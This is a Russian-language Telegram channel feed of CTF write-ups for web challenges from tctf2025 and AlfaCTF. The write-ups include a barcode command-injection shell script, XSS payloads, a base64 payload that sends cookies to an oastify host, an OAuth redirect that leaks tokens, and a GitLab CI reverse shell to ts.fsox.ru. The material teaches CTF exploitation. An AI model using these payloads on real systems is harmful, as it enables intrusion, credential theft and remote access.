Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#web
Бастион

Бастион – это не просто укрепление, а сложная и многослойная система безопасности, созданная для защиты от вторжений. Его инфраструктура подобна лабиринту, где каждый элемент продуман до мелочей: мощные стены, скрытые механизмы, надежные проходы и хитроумные ловушки. Однако, как и в любой обороне, у бастиона может быть слабое место – лазейка, тщательно спрятанный бэкдор, известный лишь немногим. И если такой изъян существует, он превращает неприступную крепость в иллюзию защиты, оставляя ее уязвимой перед тем, кто знает, куда бить.

https://kfcctf0bastion.pythonanywhere.com

Формат флага: FLAG{...}

Upd. Добавлена ручка для очистки БД. Как только вы получили флаг, не забудьте убрать за собой, перейдя по /restart

Хинт 1: Думаю, бэкдор где-то в форме регистрации.

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍62
extension_71db2d8.zip
4.5 KB
#web #reverse #infra #tctf2025
Капибаза

Нужно было проанализировать код в файле content.js и составить ссылку для получения флага.

Конечный результат:

https://firestore.googleapis.com/v1/projects/t-capybase/databases/(default)/documents/sniffed

Автор: @masm32

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍31
#web #tctf2025
Капибальпы

Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).

Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
{“minutes”:1}

Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))

Ну и для получения флага надо получить достижение которое есть в профиле лыжника.

«Укради 100500 минут у сноубордиста»

Отправляем запрос с -100500 и всё готово.

Автор: @serega00731

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🥱7😐21🥴11
#web #tctf2025
Капиблеф

Переходим на сайт, тестим формы отправки, замечаем, что при методе сброса карт на стол (showdown), отправляются jwt-токены в формате:
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiMyIsInN1aXQiOiJDbHVicyJ9fQ.ovIt-0l5F3f0WA9kmlIaey4y1os2MM2xptPh3x_i3jI","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}

Дешифровав данный токен, видим что в них зашифрованы сбрасываемые карты, в данном случае - 3 крестов и король крестов соответственно.
{
  "iss": "deck",
  "exp": ,
  "nbf": ,
  "iat": ,
  "card": {
    "rank": "K",
    "suit": "Clubs"
  },
  "header": {
    "alg": "HS256",
    "typ": "JWT"
  }
}

Предполагаем, что можно подменять карты, в момент сбрасывания на стол,и действительно.

Вставив 2 раза последний токен, получаем пару королей.
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}

Видим, что при каждой раздаче мы можем узнавать jwt-токен и соответствующую карту.

Таким образом, соберем себе словарь из колоды карт в формате:
токен - карта.

Теперь при каждой раздаче, выбираем из собранных карт наиболее высокие комбинации и подменяем jwt-токены (стрит, флеш).

Я победил в основном, используя каре из тузов.

После серии из 13 побед, получаем сертификат, содержащий флаг.

Автор: @konsgory

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍811
#web #debug #tctf2025
Капипаркинг

Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть -  дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%"  и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
from barcode import get_barcode_class
from barcode.writer import ImageWriter
from io import BytesIO
import requests
import json

# 1. Генерация штрихкода CODE39 в памяти (без сохранения на диск)
def generate_barcode(code_text):
    Code39 = get_barcode_class('code39')
    code39 = Code39(code_text, writer=ImageWriter())

    buffer = BytesIO()
    code39.write(buffer, options={'format': 'PNG'})
    buffer.seek(0)

    return buffer

# 2. Отправка POST-запроса
def send_barcode_image(image_buffer, filename="barcode.png"):
    files = {
        'image': (filename, image_buffer, 'image/png')
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Referer": "https://t-parking-0a2zxpo1.spbctf.org/",
        "Origin": "https://t-parking-0a2zxpo1.spbctf.org",
        "Accept": "*/*"
    }

    cookies = {
        "__cfduid": "7aec16a4dbb0ab6f8f27fac37264dce0"
    }

    response = requests.post(
        "https://t-parking-0a2zxpo1.spbctf.org/scan",
        files=files,
        headers=headers,
        cookies=cookies
    )

    return response.text

# --- Запуск ---
if __name__ == "__main__":

    while True:
        code = "9%BABAN123%202504191104%"
        command = input("> ")
        # code = code.replace(" ", "")  # Убираем пробелы
        code += command + "%"
        filename = "barcode.png"      # Имя файла только для запроса

        img = generate_barcode(code)

        response = send_barcode_image(img, filename)

        try:
            json_data = json.loads(response)
            parking_fee = json_data.get("parking_fee", "")
            if parking_fee is not None:
                parking_fee_cleaned = parking_fee.replace("\n", " ").strip()
            pretty = json.dumps(json_data, indent=2, ensure_ascii=False)
            print(parking_fee_cleaned)
        except json.JSONDecodeError:
            print("[!] Ответ не является JSON:")
            print(response)


Автор: @Evgeniy12337382

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4🫡21🥴1🤨1
#web #tctf2025
Капибординг

Регистрируем аккаунт сноубордиста, в описании таска делается акцент на том, что под донатами сноубордистов, лыжники оставляют гневные комментарии.

Пробуем инжектить скрипт в заголовок доната - отлично есть XSS

Создаем донат, в описание инжектим данный скрипт:
<img src=x onerror="
  let inp = document.querySelector('#donationInput');
  inp.value = 100500;
  inp.dispatchEvent(new Event('input', { bubbles: true }));
  document.querySelector('button[type=submit]').click();
">

После чего лыжники-боты заходят чтобы оставить комментарий, получают ошибку, так как такого пути для картинки не существует. Из за этого выполняется скрипт по триггеру об ошибке, скрипт за лыжника вводит 100500 минут в донате и нажимает на кнопку отправки.

Автор: @wkiseven

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍72🥴2
#web
👀 Реестр Мемов

В эпоху строгого контроля и цифрового наблюдения правительство внедрило "Реестр Мемов". Теперь каждый мем подлежит обязательной регистрации. Пользователи, распространяющие незарегистрированные мемы, рискуют получить серьезные штрафы.

Твоя задача — обойти модерацию мемов, добавить мем в реестр и восстановить законные права пользователей на мемы!

https://mem.givemeflag.com/

Автор: @denis_bardak

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5😁2🗿21🥴1🌚1
corpfiles_src.zip
32.6 KB
#web #medium #writeup
Kuban CTF – "Корпоративное хранилище" от @LiamSOMHOLD

Это не просто папки и файлы, это настоящая крепость... ну, или так кажется. Попытайся не спалиться и докопаться до сокровищ. Кто знает, может, там и не только отчёты по бюджету.

Формат флага: CSC{...}


Есть две уязвимости это ошибка в обработке user_id в /api/files (То есть можно подставить два user_id и обмануть проверку) и отсутствие проверки владельца при загрузке файла /file/<file_id>
curl -s "http://62.173.139.193:16003/api/files?user_id=1&user_id=23" \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyM30.aKmUNw.Rm7rIOuABeAEHoyrtOGu-w-GoOQ"

И получил ответ
{"files":[{"file_id":"b00b73ebe000","filename":"secret.txt"}]}

Ну и дальше
curl -s "http://62.173.139.193:16003/file/b00b73ebe000" \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyM30.aKmUNw.Rm7rIOuABeAEHoyrtOGu-w-GoOQ"

И будет сам флаг.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14
#web #alfactf2025

Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie
Ребята заняли 9 место!

Следующим образом можно вывести все файлы в текущей директории:
GET /api/files?path=. HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

Из полученного вывода можно увидеть файл .config.yaml
{"name":".config.yaml","path":".config.yaml","is_directory":false,"size":345,"modified":1757791038}


Далее можно прочитать этот файл:
GET /api/content?path=.config.yaml HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers


Содержимое .config.yaml:
exclude_files_and_dirs:
- ".profile"
- ".bashrc"
- ".bash_history"
- ".bash_logout"
- ".bash_profile"
- ".history"
- ".viminfo"
- ".ssh/authorized_keys"

- "/etc/"
- "/proc/"
- "/sys/"
- "/home/"
- "/root/"
- "/usr/"
- "/var/"
- "/tmp/"
- "/dev/"


Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
POST /api/files HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Length: 731
Origin: https://fr7sz1sb.spambox.alfactf.ru
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="files"; filename="authorized_keys2"
Content-Type: text/plain

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRfItRAln9f0MNzXjayUlCknQQ1G0UG40lQnUeyAwZXwKfAMRij8Pt6tCEB8qVwm67OQBQQ7pjLbzGWWPARazQtDe5Av01mcYQKiF3h5T99Cx/2+GobwBknTnuzEd5bfqZ1/9IHPjPCTm/zursyhI+u0niJ50uQwZmJiT/29j7S+ixfeikvQccpX7FdlZCorrvRAf0SkCYvEe0MOg9YQKuchWb96r9QPl6gQQs5gTzwotLeFwmdeHVzatqfy39vOF3RyYoSgW6oElFWzFoAJpVwIqCucqbMbk9B8tF/AQs46utSzfThNdkKT+7WbKxojDZUhrDRPmpvmTfpH4LhOB eianisimov@inbox.ru
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="path"

.ssh
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5--


После этого коннектимся по ssh и получаем флаг
ssh -i ~/.ssh/id_rsa_for_auth2.pub fr7sz1sb@fr7sz1sb.spambox.alfactf.ru


💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥71
Please open Telegram to view this post
VIEW IN TELEGRAM
141
Please open Telegram to view this post
VIEW IN TELEGRAM
162
Десант блогеров.pdf
354.7 KB
#web #alfactf2025

Десант блогеров, автор мой тиммейт @ValMor1251

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
3
#web #alfactf2025

Шакализация волны от @Dan1Lev, наша команда xyz ❤️

tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации.

shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:

https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/


🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и

redirect_uri.split("://", 1)[1].split("/", 1)[0].split(":", 1)[0]


вернёт

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru


что как раз проходит по условию.

🔹 В момент запроса строка

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru


преобразуется в

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com/?tv.alfactf.ru


Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер.

В итоге получаем ссылку, которую отправляем в чат поддержки
https://tv.alfactf.ru:20016/api/auth/login?next=https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/


После этого полученные данные отправляем на
tv.alfactf.ru/api/auth/callback

и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥82
Вихрь рик-ролла.pdf
28.7 KB
#web #alfactf2025
Студенческая лига

Вихрь рик-ролла, автор @filemonenok
доп файлы - https://disk.360.yandex.ru/d/OvEZ6R-D2P4oUA

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
2
#web #alfactf2025

Разработчик на пляже от моего тиммейта @Dan1Lev

Заглянув в robots.txt блога находим "Файловый менеджер"
Disallow: /shell.php

Внутни которого лежит .env файл из которого получаем адрес и данные для gitlab

Открываем репозиторий и создаём CI/CD файл .gitlab-ci.yml через который получаем обратную оболочку
stages:
- build

shell:
stage: build
script:
- sh -i >& /dev/tcp/ts.fsox.ru/1964 0>&1


В корневой папке пользователя в .ssh находим ssh ключ, а в .bash_history логин и хост
подключаемся и забираем флаг
ssh -o StrictHostKeyChecking=no -i ~/.ssh/id_rsa prod@production cat flag.txt


💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
91
Цунами_дедлайнов_Решение_@THL_1xBtc.pdf
266.7 KB
#web #alfactf2025
Студенческая лига

Цунами дедлайнов автор @THL_1xBtc

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
#web #alfactf2025

Возвращение стены, автор @Dan1Lev

Точек для XSS тут хватает, это аватар, имена файлов и username. Возможно есть ещё, но не проверял использовал только аватар.

На endpoint /avatar отправляется параметр avatar_url в который можно передать например такую нагрузку
" onerror=alert(1); "

Защита есть только со стороны фронта которая даст отправить только url.

Но для получения флага понимания куда загружать не достаточно, нужно изучить поведение бота.
Бот переходит на нашу страницу если набирается 3 поста, запоминает последний пост, переходит на главную где проходит авторизацию и публикует запомненный пост с нашей страницы.
Флаг добавляется к куки в начале авторизации. Содержимое поста не уязвимо к инъекциям.
Нужно заставить бота остаться на нашей странице. Для этого выдадим ему куки нашего аккаунта с помошью следующей нагрузки к которой был добавлен сбор куки.
" onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw==")); "

Содержимое eval
document.cookie = "access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJEYW5MZXYxMzM3IiwiZXhwIjoxNzYwNDUxODgwfQ.8IPLXw66RZ6gmYvvkJWl9kM_FwEw8lxUSab6t5YWsRE; path=/";
fetch("https://h0in63yuzgo50lt2e3h3oz11asgj4bs0.oastify.com/?c="+document.cookie);


Но и этого не достаточно. Да, бот будет авторизован, но не найдя на странице форму авторизации бот остановится, в добавок куки добавляется после загрузки страницы.
Для обхода нуно добавить фиктивную форму
<form id="login-form"><input name="username"/><input name="password"/><button></button></form>

Дополнительно бот проверяет есть ли в url /profile/, но это не проблема т.к. авторизованный аккаунт автоматически будет редиректится в профиль.

Финальная нагрузка
"onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw=="));><form id="login-form"><input name="username"/><input name="password"/><button></button></form><img src="


После установки создаём 3 поста и спустя мгновение получаем куки с флагом

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
82
Подборка райтапов с прошедшего AlfaCTF:

Задания кстати все еще доступны
https://alfactf.ru/tasks

🛡 Защита от спама
(https://t.me/writeup_ctf/784)
#Easy #Infra #Web

🎶 Звуки ностальгии
(https://t.me/writeup_ctf/783)
#Easy #Misc #OSINT

🌊 Цунами дедлайнов
(https://t.me/writeup_ctf/793)
#Easy #Web

🌈🎛 Кислотный ретровейв
(https://t.me/writeup_ctf/786)
#Easy #Web

🌴💰 Пальма с биткоинами
(https://t.me/writeup_ctf/785)
#Easy #Web #JS

👨‍💻🏖 Разработчик на пляже
(https://t.me/writeup_ctf/790)
#Medium #Infra #Dev #Pentest

🎵🌀 Вихрь рик-ролла
(https://t.me/writeup_ctf/789)
#Medium #Web #Logic

🐺🌊 Шакализация волны
(https://t.me/writeup_ctf/788)
#Medium #Web #OAuth #Client

📹🚁 Десант блогеров
(https://t.me/writeup_ctf/787)
#Medium #Web #Logic

🌇🛠 Фиксы в лучах заката
(https://t.me/writeup_ctf/792)
#Hard #Forensics #Linux #Infra #LPE

🥒😈 Дикий огурец
(https://t.me/writeup_ctf/791)
#Hard #Pwn #Python

🏍⚡️ Непослушный мотоциклист
(https://t.me/writeup_ctf/795)
#Hard #Coding #Reverse #Network

🧱🔙 Возвращение стены
(https://t.me/writeup_ctf/794)
#Hard #Web #Client

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1433
Please open Telegram to view this post
VIEW IN TELEGRAM
1101